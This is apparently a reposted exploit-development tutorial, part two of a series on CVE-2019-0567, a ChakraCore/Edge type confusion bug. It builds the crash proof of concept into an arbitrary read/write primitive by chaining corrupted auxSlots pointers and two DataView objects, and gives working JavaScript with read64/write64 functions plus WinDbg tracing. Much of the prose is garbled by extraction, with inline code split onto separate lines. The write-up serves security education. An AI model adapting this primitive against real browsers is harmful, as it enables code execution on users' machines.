原文始发于Connor McGarr:Exploit Development: Browser Exploitation on Windows – CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)
Exploit Development: Browser Exploitation on Windows – CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)
Introduction
In part one we went over setting up a ChakraCore exploit development environment, understanding how JavaScript (more specifically, the Chakra/ChakraCore engine) manages dynamic objects in memory, and vulnerability analysis of CVE-2019-0567 – a type confusion vulnerability that affects Chakra-based Microsoft Edge and ChakraCore. In this post, part two, we will pick up where we left off and begin by taking our proof-of-concept script, which “crashes” Edge and ChakraCore as a result of the type confusion vulnerability, and convert it into a read/write primtive. This primitive will then be used to gain code execution against ChakraCore and the ChakraCore shell, , which essentially is a command-line JavaScript shell that allows execution of JavaScript. For our purposes, we can think of as Microsoft Edge, but without the visuals. Then, in part three, we will port our exploit to Microsoft Edge to gain full code execution.ch.exe
ch.exe
This post will also be dealing with ASLR, DEP, and Control Flow Guard (CFG) exploit mitigations. As we will see in part three, when we port our exploit to Edge, we will also have to deal with Arbitrary Code Guard (ACG). However, this mitigation isn’t enabled within ChakraCore – so we won’t have to deal with it within this blog post.
Lastly, before beginning this portion of the blog series, much of what is used in this blog post comes from Bruno Keith’s amazing work on this subject, as well as the Perception Point blog post on the “sister” vulnerability to CVE-2019-0567. With that being said, let’s go ahead and jump right into it!
ChakraCore/Chakra Exploit Primitives
Let’s recall the memory layout, from part one, of our dynamic object after the type confusion occurs.
As we can see above, we have overwritten the pointer with a value we control, of . Additionally, recall from part one of this blog series when we talked about JavaScript objects. A value in JavaScript is 64-bits (technically), but only 32-bits are used to hold the actual value (in the case of , the value is represented in memory as . This is a result of “NaN boxing”, where JavaScript encodes type information in the upper 17-bits of the value. We also know that anything that isn’t a static object (generally speaking) is a dynamic object. We know that dynamic objects are “the exception to the rule”, and are actually represented in memory as a pointer. We saw this in part one by dissecting how dynamic objects are laid out in memory (e.g. points to ).auxSlots
0x1234
0x1234
001000000001234
object
| vtable | type | auxSlots |
What this means for our vulnerability is that we can overwrite the pointer currently, but we can only overwrite it with a value that is NaN-boxed, meaning we can’t hijack the object with anything particularly interesting, as we are on a 64-bit machine but we can only overwrite the pointer with a 32-bit value in our case, when using something like .auxSlots
auxSlots
0x1234
The above is only a half truth, as we can use some “hacks” to actually end up controlling this pointer with something interesting, actually with a “chain” of interesting items, to force ChakraCore to do something nefarious – which will eventually lead us to code execution.auxSlots
Let’s update our proof-of-concept, which we will save as , with the following JavaScript:exploit.js
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
}
main();
Our is slightly different than our original proof-of-concept. When the type confusion is exploited, we now are supplying instead of a value of . In not so many words, the pointer of our object, previously overwritten with in part one, will now be overwritten with the address of our object. Here is where this gets interesting.exploit.js
obj
0x1234
auxSlots
o
0x1234
obj
Recall that any object that isn’t NaN-boxed is considered a pointer. Since is a dynamic object, it is represented in memory as such:obj
What this means is that instead of our corrupted object after the type confusion being laid out as such:o
It will actually look like this in memory:
Our object, who’s pointer we can corrupt, now technically has a valid pointer in the location within the object. However, we can clearly see that the pointer isn’t pointing to an array of properties, it is actually pointing to the object which we created! Our script essentially updates to . This essentially means that now contains the memory address of the object, instead of a valid array address.o
auxSlots
auxSlots
o->auxSlots
obj
exploit.js
o->auxSlots
o->auxSlots = addressof(obj)
o->auxSlots
obj
auxSlots
Recall also that we control the properties, and can call them at any point in via , , etc. For instance, if there was no type confusion vulnerability, and if we wanted to fetch the property, we know this is how it would be done (considering had been type transitioned to an setup):o
exploit.js
o.a
o.b
o.a
o
auxSlots
We know this to be the case, as we are well aware ChakraCore will dereference to pull the pointer. After retrieving the pointer, ChakraCore will add the appropriate index to the address to fetch a given property, such as , which is stored at offset or , which is stored at offset . We saw this in part one of this blog series, and this is no different than how any other array stores and fetches an appropriate index.dynamic_object+0x10
auxSlots
auxSlots
auxSlots
o.a
0
o.b
0x8
What’s most interesting about all of this is that ChakraCore will still act on our object as if the pointer is still valid and hasn’t been corrupted. After all, this was the root cause of our vulnerability in part one. When we acted on , after corrupting to , an access violation occurred, as is invalid memory.o
auxSlots
o.a
auxSlots
0x1234
0x1234
This time, however, we have provided valid memory within . So acting on would actually take address is stored at , dereference it, and then return the value stored at offset . Doing this currently, with our object being supplied as the pointer for our corrupted object, will actually return the from our object. This is because the first bytes of a dynamic object contain metadata, like and . Since ChakraCore is treating our as an array, which can be indexed directly at an offset of , via , we can actually interact with this metadata. This can be seen below.o->auxSlots
o.a
auxSlots
0
obj
auxSlots
o
vftable
obj
0x10
vftable
type
obj
auxSlots
0
auxSlots[0]
Usually we can expect that the dereferenced contents of , a.k.a. , at an offset of , to contain the actual, raw value of . After the type confusion vulnerability is used to corrupt with a different address (the address of ), whatever is stored at this address, at an offset of , is dereferenced and returned to whatever part of the JavaScript code is trying to retrieve the value of . Since we have corrupted with the address of an object, ChakraCore doesn’t know is gone, and it will still gladly index whatever is at when the script tries to access the first property (in this case ), which is the of our object. If we retrieved , after our type confusion was executed, ChakraCore would fetch the pointer.o+0x10
auxSlots
0
o.a
auxSlots
obj
0
o.a
auxSlots
auxSlots
auxSlots[0]
o.a
vftable
obj
o.b
type
Let’s inspect this in the debugger, to make more sense of this. Do not worry if this has yet to make sense. Recall from part one, the function is responsible for the type transition of our property. Let’s set a breakpoint on our statement, as well as the aforementioned function so that we can examine the call stack to find the machine code (the JIT’d code) which corresponds to our function. This is all information we learned in part one.chakracore!Js::DynamicTypeHandler::AdjustSlots
o
print()
opt()
After opening and passing in as the argument (the script to be executed), we set a breakpoint on . After resuming execution and hitting the breakpoint, we then can set our intended breakpoint of .ch.exe
exploit.js
ch!WScriptJsrt::EchoCallback
chakracore!Js::DynamicTypeHandler::AdjustSlots
When the is hit, we can examine the callstack (just like in part one) to identify our “JIT’d” functionchakracore!Js::DynamicTypeHandler::AdjustSlots
opt()
After retrieving the address of our function, we can unassemble the code to set a breakpoint where our type confusion vulnerability reaches the apex – on the instruction when is overwritten.opt()
mov qword ptr [r15+10h], r11
auxSlots
We know that is stored at , so this means our object is currently in R15. Let’s examine the object’s layout in memory, currently.auxSlots
o+0x10
o
We can clearly see that this is the object. Looking at the R11 register, which is the value that is going to corrupt of , we can see that it is the object we created earlier.o
auxSlots
o
obj
Notice what happens to the object, as our vulnerability manifests. When is corrupted, now refers to the property of our object.o
o->auxSlots
o.a
vftable
obj
Anytime we act on , we will now be acting on the of ! This is great, but how can we take this further? Take not that the is actually a user-mode address that resides within . This means, if we were able to leak a from an object, we would bypass ASLR. Let’s see how we can possibly do this.o.a
vftable
obj
vftable
chakracore.dll
vftable
DataView
Objects
A popular object leveraged for exploitation is a object. A DataView
object provides users a way to read/write multiple different data types and endianness to and from a raw buffer in memory, which can be created with ArrayBuffer
. This can include writing or retrieving an 8-byte, 16-byte, 32-byte, or (in some browsers) 64-bytes of raw data from said buffer. More information about objects can be found here, for the more interested reader.DataView
DataView
At a higher level a object provides a set of methods that allow a developer to be very specific about the kind of data they would like to set, or retrieve, in a buffer created by . For instance, with the method , provided by , we can tell ChakraCore that we would like to retrieve the contents of the backing the object as a 32-bit, unsigned data type, and even go as far as asking ChakraCore to return the value in little-endian format, and even specifying a specific offset within the buffer to read from. A list of methods provided by can be found here.DataView
ArrayBuffer
getUint32()
DataView
ArrayBuffer
DataView
DataView
The previous information provided makes a object extremely attractive, from an exploitation perspective, as not only can we set and read data from a given buffer, we can specify the data type, offset, and even endianness. More on this in a bit.DataView
Moving on, a object could be instantiated as such below:DataView
dataviewObj = new DataView(new ArrayBuffer(0x100));
This would essentially create a object that is backed by a buffer, via .DataView
ArrayBuffer
This matters greatly to us because as of now if we want to overwrite with something (referring to our vulnerability), it would either have to be a raw JavaScript value, like an integer, or the address of a dynamic object like the used previously. Even if we had some primitive to leak the base address of , for instance, we could never actually corrupt the pointer by directly overwriting it with the leaked address of for instance, via our vulnerability. This is because of NaN-boxing – meaning if we try to directly overwrite the pointer so that we can arbitrarily read or write from this address, ChakraCore would still “tag” this value, which would “mangle it” so that it no longer is represented in memory as . We can clearly see this if we first update to the following and pause execution when is corrupted:auxSlots
obj
kernel32.dll
auxSlots
0x7fff5b3d0000
auxSlots
0x7fff5b3d0000
exploit.js
auxSlots
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, 0x7fff5b3d0000); // Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll
}
Using the same breakpoints and method for debugging, shown in the beginning of this blog, we can locate the JIT’d address of the function and pause execution on the instruction responsible for overwriting of the object (in this case .opt()
auxSlots
o
mov qword ptr [r15+10h], r13
Notice how the value we supplied, originally and was placed into the R13 register, has been totally mangled. This is because ChakraCore is embedding type information into the upper 17-bits of the 64-bit value (where only 32-bits technically are available to store a raw value). Obviously seeing this, we can’t directly set values for exploitation, as we need to be able to set and write 64-bit values at a time since we are exploiting a 64-bit system without having the address/value mangled. This means even if we can reliably leak data, we can’t write this leaked data to memory, as we have no way to avoid JavaScript NaN-boxing the value. This leaves us with the following choices:0x7fff5b3d0000
- Write a NaN-boxed value to memory
- Write a dynamic object to memory (which is represented by a pointer)
If we chain together a few JavaScript objects, we can use the latter option shown above to corrupt a few things in memory with the addresses of objects to achieve a read/write primitive. Let’s start this process by examining how objects behave in memory.DataView
Let’s create a new JavaScript script named :dataview.js
// print() debug
print("DEBUG");
// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));
// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true); // Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
Notice the level of control we have in respect to the amount of data, the type of data, and the offset of the data in the buffer we can set/retrieve.
In the above code we created a object, which is backed by a raw memory buffer via . With the “view” of this buffer, we can tell ChakraCore to start at the beginning of the buffer, use a 32-bit, unsigned data type, and use little endian format when setting the data into the buffer created by . To see this in action, let’s execute this script in WinDbg.DataView
ArrayBuffer
DataView
0x41414141
ArrayBuffer
Next, let’s set our debug breakpoint on . After resuming execution, let’s then set a breakpoint on , which is responsible for setting a value on a buffer. Please note I was able to find this function by searching the ChakraCore code base, which is open-sourced and available on GitHub, within DataView.cpp
, which looked to be responsible for setting values on objects.print()
ch!WScriptJsrt::EchoCallback
chakracore!Js::DataView::EntrySetUint32
DataView
DataView
After hitting the breakpoint on , we can look further into the disassembly to see a method provided by called . Let’s set a breakpoint here.chakracore!Js::DataView::EntrySetUint32
DataView
SetValue()
After hitting the breakpoint, we can view the disassembly of this function below. We can see another call to a method called . Let’s set a breakpoint on this function (please right click and open the below image in a new tab if you have trouble viewing).SetValue()
After hitting the breakpoint, we can see the source of the method function we are currently in, outlined in red below.SetValue()
Cross-referencing this with the disassembly, we noticed right before the from this method function we see a instruction. This is an assembly operation which uses a 32-bit value to act on a 64-bit value. This is likely the operation which writes our 32-bit value to the of the object. We can confirm this by setting a breakpoint and verifying that, in fact, this is the responsible instruction.ret
mov dword ptr [rax], ecx
buffer
DataView
We can see our now holds .buffer
0x41414141
This verifies that it is possible to set an arbitrary 32-bit value without any sort of NaN-boxing, via objects. Also note the address of the property of the object, . However, what about a 64-bit value? Consider the following script below, which attempts to set one 64-bit value via offsets of .DataView
buffer
DataView
0x157af16b2d0
DataView
// print() debug
print("DEBUG");
// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));
// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true); // Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
dataviewObj.setUint32(0x4, 0x41414141, true); // Set, at an offset of 4 in the buffer, the value 0x41414141 and specify litte-endian (true)
Using the exact same methodology as before, we can return to our instruction which writes our data to a buffer to see that using objects it is possible to set a value in JavaScript as a contiguous 64-bit value without NaN-boxing and without being restricted to just a JavaScript object address!mov dword ptr [rax], rcx
DataView
The only thing we are “limited” to is the fact we cannot set a 64-bit value in “one go”, and we must divide our writes/reads into two tries, since we can only read/write 32-bits at a time as a result of the methods provided to use by . However, there is currently no way for us to abuse this functionality, as we can only perform these actions inside a buffer of a object, which is not a security vulnerability. We will eventually see how we can use our type confusion vulnerability to achieve this, later in this blog post.DataView
DataView
Lastly, we know how we can act on the object, but how do we actually view the object in memory? Where does the property of come from, as we saw from our debugging? We can set a breakpoint on our original function, . When we hit this breakpoint, we then can set a breakpoint on the function, at the end of the function, which passes the pointer to the in-scope object via RCX.DataView
buffer
DataView
chakracore!Js::DataView::EntrySetUint32
SetValue()
EntrySetUint32
DataView
If we examine this value in WinDbg, we can clearly see this is our object. Notice the object layout below – this is a dynamic object, but since it is a builtin JavaScript type, the layout is slightly different.DataView
The most important thing for us to note is twofold: the pointer still exists at the beginning of the object, and at offset of the object we have a pointer to the buffer. We can confirm this by setting a hardware breakpoint to pause execution anytime is written to in a 4-byte (32-bit) boundary.vftable
0x38
DataView
DataView.buffer
We now know where in a object the is stored, and can confirm how this buffer is written to, and in what manners can it be written to.DataView
buffer
Let’s now chain this knowledge together with what we have previously accomplished to gain a read/write primitive.
Read/Write Primitive
Building upon our knowledge of objects from the “ Objects” section and armed with our knowledge from the “Chakra/ChakraCore Exploit Primitives” section, where we saw how it would be possible to control the pointer with an address of another JavaScript object we control in memory, let’s see how we can put these two together in order to achieve a read/write primitive.DataView
DataView
auxSlots
Let’s recall two previous images, where we corrupted our object’s pointer with the address of another object, , in memory.o
auxSlots
obj
From the above images, we can see our current layout in memory, where now controls the of the object and controls the pointer of the object. But what if we had a property within ()?o.a
vftable
obj
o.b
type
obj
c
o
o.c
From the above image, we can clearly see that if there was a property of (), it would therefore control the pointer of the object, after the type confusion vulnerability. This essentially means that we can force to point to something else in memory. This is exactly what we would like to do in our case. We would like to do the exact same thing we did with the object (corrupting the pointer to point to another object in memory that we control). Here is how we would like this to look.c
o
o.c
auxSlots
obj
obj
o
auxSlots
By setting to a object, we can control the entire contents of the object by acting on the object! This is identical to the exact same scenario shown above where the pointer was overwritten with the address of another object, but we saw we could fully control that object ( and all metadata) by acting on the corrupted object! This is because ChakraCore, again, still treats as though it hasn’t been overwritten with another value. When we try to access in this case, ChakraCore fetches the pointer stored at and then tries to index that memory at an offset of . Since that is now another object in memory (in this case a object), will still gladly fetch whatever is stored at an offset of , which is the for our object! This is also the reason we declared with so many values, as a object has a few more hidden properties than a standard dynamic object. By decalring with many properties, it allows us access to all of the needed properties of the object, since we aren’t stopping at , like we have been with other objects since we only cared about the pointers in those cases.o.c
DataView
DataView
obj
auxSlots
vftable
auxSlots
obj.a
auxSlots
obj+0x10
0
DataView
obj.a
0
vftable
DataView
obj
DataView
obj
DataView
dataview+0x10
auxSlots
This is where things really start to pick up. We know that is stored as a pointer. This can clearly be seen below by our previous investigative work on understanding objects.DataView.buffer
DataView
In the above image, we can see that is stored at an offset of within the object. In the previous image, the is a pointer in memory which points to the memory address . This is the address of our buffer. Anytime we do on our object, this address will be updated with the contents. This can be seen below.DataView.buffer
0x38
DataView
buffer
0x1a239afb2d0
dataview.setUint32()
DataView
Knowing this, what if we were able to go from this:
To this:
What this would mean is that address, previously shown above, would be corrupted with the base address of . This means anytime we acted on our object with a method such as we would actually be overwriting the contents of (note that there are obviously parts of a DLL that are read-only, read/write, or read/execute)! This is also known as an arbitrary write primitive! If we have the ability to leak data, we can obviously use our object with the builtin methods to read and write from the corrupted pointer, and we can obviously use our type confusion (as we have done by corrupted pointers so far) to corrupt this pointer with whatever memory address we want! The issue that remains, however, is the NaN-boxing dilemma.buffer
kernel32.dll
DataView
setUint32()
kernel32.dll
DataView
buffer
auxSlots
buffer
As we can see in the above image, we can overwrite the pointer of a object by using the property. However, as we saw in JavaScript, if we try to set a value on an object such as , our value will remain mangled. The only way we can get around this is through our object, which can write raw 64-bit values.buffer
DataView
obj.h
obj.h = kernel32_base_address
DataView
The way we will actually address the above issue is to leverage two objects! Here is how this will look in memory.DataView
The above image may look confusing, so let’s break this down and also examine what we are seeing in the debugger.
This memory layout is no different than the others we have discussed. There is a type confusion vulnerability where the pointer for our object is actually the address of an object we control in memory. ChakraCore interprets this object as an pointer, and we can use property , which would be the third index into the array had it not been corrupted. This entry in the array is stored at , and since is really another object, this allows us to overwrite the pointer of the object with a JavaScript object.auxSlots
o
obj
auxSlots
o.c
auxSlots
auxSlots
auxSlots+0x10
auxSlots
auxSlots
obj
We overwrite the array of the object we created, which has many properties. This is because was overwritten with a object, which has many hidden properties, including a property. Having declared with so many properties allows us to overwrite said hidden properties, such as the pointer, which is stored at an offset of within a object. Since is being interpreted as an pointer, we can use (which previously would have been stored in this array) to have full access to overwrite any of the hidden properties of the object. We want to set this to an address we want to arbitrarily write to (like the stack for instance, to invoke a ROP chain). However, since JavaScript prevents us from setting with a raw 64-bit address, due to NaN-boxing, we have to overwrite this with another JavaScript object address. Since objects expose methods that can allow us to write a raw 64-bit value, we overwrite the of the object with the address of another object.auxSlots
obj
obj->auxSlots
DataView
buffer
obj
buffer
0x38
DataView
dataview1
auxSlots
obj
dataview1
buffer
obj.h
buffer
DataView
buffer
dataview1
DataView
Again, we opt for this method because we know is the property we could update which would overwrite . However, JavaScript won’t let us set a raw 64-bit value which we can use to read/write memory from to bypass ASLR and write to the stack and hijack control-flow. Because of this, we overwrite it with another object.obj.h
dataview1->buffer
DataView
Because , we can now use the methods exposed by (via our object) to write to the object’s property with a raw 64-bit address! This is because methods like , which we previously saw, allow us to do so! We also know that is stored at an offset of within a object, so if we execute the following JavaScript, we can update to whatever raw 64-bit value we want to read/write from:dataview1->buffer = dataview2
DataView
dataview1
dataview2
buffer
setUint32()
buffer
0x38
DataView
dataview2->buffer
// Recall we can only set 32-bits at a time
// Start with 0x38 (dataview2->buffer and write 4 bytes
dataview1.setUint32(0x38, 0x41414141, true); // Overwrite dataview2->buffer with 0x41414141
// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2->buffer)
dataview1.setUint32(0x3C, 0x41414141, true); // Overwrite dataview2->buffer with 0x41414141
Now would be overwritten with . Let’s consider the following code now:dataview2->buffer
0x4141414141414141
dataview2.setUint32(0x0, 0x42424242, true);
dataview2.setUint32(0x4, 0x42424242, true);
If we invoke on , we do so at an offset of . This is because we are not attempting to corrupt any other objects, we are intending to use in a legitimate fashion. When is invoked, it will fetch the address of the from by locating , derefencing the address, and attempting to write the value (as seen above) into the address.setUint32()
dataview2
0
dataview2.setUint32()
dataview2->setUint32()
buffer
dataview2
dataview2+0x38
0x4242424242424242
The issue is, however, is that we used a type confusion vulnerability to update to a different address (in this case an invalid address of ). This is the address will now attempt to write to, which obviously will cause an access violation.dataview2->buffer
0x4141414141414141
dataview2
Let’s do a test run of an arbitrary write primitive to overwrite the first 8 bytes of the section of (which is writable) to see this in action. To do so, let’s update our script to the following:.data
kernel32.dll
exploit.js
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
// Print debug statement
print("DEBUG");
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// Set dataview2->buffer to kernel32.dll .data section (which is writable)
dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
dataview1.setUint32(0x3C, 0x00007fff, true);
// Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
dataview2.setUint32(0x0, 0x41414141, true);
dataview2.setUint32(0x4, 0x41414141, true);
}
main();
Note that in the above code, the base address of the section can be found with the following WinDbg command: . Recall also that we can only write/read in 32-bit boundaries, as (in Chakra/ChakraCore) only supplies methods that work on unsigned integers as high as a 32-bit boundary. There are no direct 64-bit writes..data
kernel32.dll
!dh kernel32
DataView
Our target address will be , based on our current version of Windows 10.kernel32_base + 0xA4000
Let’s now run our script in , by way of WinDbg.exploit.js
ch.exe
To begin the process, let’s first set a breakpoint on our first debug statement via . When we hit this breakpoint, after resuming execution, let’s set a breakpoint on . We aren’t particularly interested in this function, which as we know will perform the type transition on our object as a result of the function setting its prototype, but we know that in the call stack we will see the address of the JIT’d function , which performs the type confusion vulnerability.print()
ch!WScriptJsrt::EchoCallback
chakracore!Js::DynamicTypeHandler::AdjustSlots
o
tmp
opt()
Examining the call stack, we can clearly see our function.opt()
Let’s set a breakpoint on the instruction which will overwrite the pointer of the object.auxSlots
o
We can inspect R15 and R11 to confirm that we have our object, who’s pointer is about to be overwritten with the object.o
auxSlots
obj
We can clearly see that the pointer is updated with the address of .o->auxSlots
obj
This is exactly how we would expect our vulnerability to behave. After the function is called, the next step in our script is the following:opt(o, o, obj)
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
We know that by setting a value on we will actually end up corrupting with the address of our first object. Recalling the previous image, we know that is located at .o.c
obj->auxSlots
DataView
obj->auxSlots
0x12b252a52b0
Let’s set a hardware breakpoint to break whenever this address is written to at an 8-byte alignment.
Taking a look at the disassembly, it is clear to see how indexes the array (or what it thinks is the array) by computing an index into an array.SetSlotUnchecked
auxSlots
auxSlots
Let’s take a look at the RCX register, which should be (located at ).obj->auxSlots
0x12b252a52b0
However, we can see that the value is no longer the array, but is actually a pointer to a object! This means we have successfully overwritten with the address of our object!auxSlots
DataView
obj->auxSlots
dataview
DataView
Now that our operation has completed, we know the next instruction will be as follows:o.c = dataview1
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
Let’s update our script to set our debug statement right before the instruction and restart execution in WinDbg.print()
obj.h = dataview2
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Print debug statement
print("DEBUG");
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// Set dataview2->buffer to kernel32.dll .data section (which is writable)
dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
dataview1.setUint32(0x3C, 0x00007fff, true);
// Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
dataview2.setUint32(0x0, 0x41414141, true);
dataview2.setUint32(0x4, 0x41414141, true);
}
main();
We know from our last debugging session that the function was responsible for updating . Let’s set another breakpoint here to view our line of code in action.chakracore!Js::DynamicTypeHandler::SetSlotUnchecked
o.c = dataview1
obj.h = dataview2
After hitting the breakpoint, we can examine the RCX register, which contains the in-scope dynamic object passed to the function. We can clearly see this is our object, as points to our object.SetSlotUnchecked
obj
obj->auxSlots
dataview1
DataView
We can then set a breakpoint on our final instruction, which we previously have seen, which will perform our instruction.mov qword ptr [rcx+rax*8], rdx
obj.h = dataview2
After hitting the instruction, we can can see that our object is about to be operated on, and we can see that the of our object currently poitns to .dataview1
buffer
dataview1
0x24471ebed0
After the write operation, we can see that now points to our object.dataview1->buffer
dataview2
Again, to reiterate, we can do this type of operation because of our type confusion vulnerability, where ChakraCore doesn’t know we have corrupted with the address of another object, our object. When we execute , ChakraCore treats as still having a valid pointer, which it doesn’t, and it will attempt to update the entry within (which is really a object). Because is stored where ChakraCore thinks is stored, we corrupt this value to the address of our second object, .obj->auxSlots
dataview1
obj.h = dataview2
obj
auxSlots
obj.h
auxSlots
DataView
dataview1->buffer
obj.h
DataView
dataview2
Let’s now set a breakpoint, as we saw earlier in the blog post, on the method of our object, which will perform the final object corruption and, shortly, our arbitrary write. We also can entirely clear out all other breakpoints.setUint32()
DataView
After hitting our breakpoint, we can then scroll through the disassembly of and set a breakpoint on , as we have previously showcased in this blog post.EntrySetUint32()
chakracore!Js::DataView::SetValue
After hitting this breakpoint, we can scroll through the disassembly and set a final breakpoint on the other method.SetValue()
Within this method function, we know is the instruction responsible ultimately for writing to the in-scope object’s buffer. Let’s clear out all breakpoints, and focus solely on this instruction.mov dword ptr [rax], ecx
DataView
After hitting this breakpoint, we know that RAX will contain the address we are going to write into. As we talked about in our exploitation strategy, this should be . We are going to use the method provided by in order to overwrite ’s address with a raw 64-bit value (broken up into two write operations).dataview2->buffer
setUint32()
dataview1
dataview2->buffer
Looking in the RCX register above, we can also actually see the “lower” part of ’s section – the target address we would like to perform an arbitrary write to.kernel32.dll
.data
We now can step through the instruction and see that has been partially overwritten (the lower 4 bytes) with the lower 4 bytes of ’s section!mov dword ptr [rax], ecx
dataview2->buffer
kernel32.dll
.data
Perfect! We can now press in the debugger to hit the instruction again. This time, the operation should write the upper part of the section’s address, thus completing the full pointer-sized arbitrary write primitive.g
mov dword ptr [rax], ecx
setUint32()
kernel32.dll
.data
After hitting the breakpoint and stepping through the instruction, we can inspect RAX again to confirm this is and we have fully corrupted the pointer with an arbitrary address 64-bit address with no NaN-boxing effect! This is perfect, because the next time goes to set its buffer, it will use the address we provided, thinking this is its buffer! Because of this, whatever value we now supply to will actually overwrite ’s section! Let’s view this in action by again pressing in the debugger to see our operations.dataview2
buffer
dataview2
kernel32.dll
dataview2.setUint32()
kernel32.dll
.data
g
dataview2.setUint32()
As we can see below, when we hit our breakpoint again the address being used is located in , and our operation writes into the section! We have achieved an arbitrary write!buffer
kernel32.dll
setUint32()
0x41414141
.data
We then press in the debugger once more, to write the other 32-bits. This leads to a full 64-bit arbitrary write primitive!g
Perfect! What this means is that we can first set , via , to any 64-bit address we would like to overwrite. Then we can use in order to overwrite the provided 64-bit address! This also bodes true anytime we would like to arbitrarily read/dereference memory!dataview2->buffer
dataview1.setUint32()
dataview2.setUint32()
We simply, as the write primitive, set to whatever address we would like to read from. Then, instead of using the method to overwrite the 64-bit address, we use the method which will instead read whatever is located in . Since contains the 64-bit address we want to read from, this method simply will read 8 bytes from here, meaning we can read/write in 8 byte boundaries!dataview2->buffer
setUint32()
getUint32()
dataview2->buffer
dataview2->buffer
Here is our full read/write primitive code.
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
return ${x.toString(16)};
}
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getUint32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getUint32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
dataview2.setUint32(0x0, valLo, true); // 4-byte arbitrary write
dataview2.setUint32(0x4, valHi, true); // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
// main function
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// From here we can call read64() and write64()
}
main();
We can see we added a few things above. The first is our function, which really is just for “pretty printing” purposes. It allows us to convert a value to hex, which is obviously how user-mode addresses are represented in Windows.hex()
